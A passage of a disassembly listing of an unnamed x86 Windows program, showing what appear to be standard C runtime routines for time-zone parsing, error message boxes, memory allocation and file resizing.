		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25F0B98h
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC40, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC40

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB88, ebp
		mov	dword_43D430, ebx
		mov	dword_43D420, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB90
		nop
		call	near ptr 2850000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB90
		mov	ecx, dword_4DBBE4
		imul	eax, 3Ch
		cmp	word_4DBBD6, bp
		push	1
		pop	edx
		mov	dword_43D388, eax
		mov	dword_4DBB88, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D388, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC2A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC38
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D38C, edx
		imul	eax, 3Ch
		mov	dword_43D390, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D38C, ebp
		mov	dword_43D390, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D414
		push	ebx
		push	offset dword_4DBB94
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D414
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D414
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D418
		push	ebx
		push	offset dword_4DBBE8
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D418
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC3C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC3C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC3C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D414
		call	sub_41B5F0
		mov	eax, off_43D414
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D388, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D388, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D38C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D418
		call	sub_41B5F0
		mov	eax, off_43D418
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D418
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D38C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D420
		jnz	short loc_424A7C
		cmp	eax, dword_43D430
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB88, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC36
		push	ecx
		cmp	word_4DBC28, di
		movzx	ecx, word_4DBC34
		push	ecx
		movzx	ecx, word_4DBC32
		push	ecx
		movzx	ecx, word_4DBC30
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC2C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC2E
		push	ecx
		movzx	ecx, word_4DBC2A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC2E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC2A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBE2
		add	esp, 2Ch
		cmp	word_4DBBD4, di
		push	eax
		movzx	eax, word_4DBBE0
		push	eax
		movzx	eax, word_4DBBDE
		push	eax
		movzx	eax, word_4DBBDC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBD8
		push	edi
		push	eax
		movzx	eax, word_4DBBDA
		push	eax
		movzx	eax, word_4DBBD6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBDA
		push	eax
		push	edi
		movzx	eax, word_4DBBD6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D424
		mov	eax, dword_43D434
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D438
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D438[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D46C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D43C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D470[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D438[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D46C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D420, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D434, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D390
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D438, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D438, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D438, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D434, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D430, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC44, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC44, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC48, eax
		call	esi
		mov	dword_4DBC4C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC48
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC4C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC44


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC78
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC78
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB95C, 5
		jnz	short loc_424FDC
		mov	dword_4DB958, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB958, 0Dh
		nop
		call	near ptr 2680867h
		mov	dword_4DB95C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB958, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
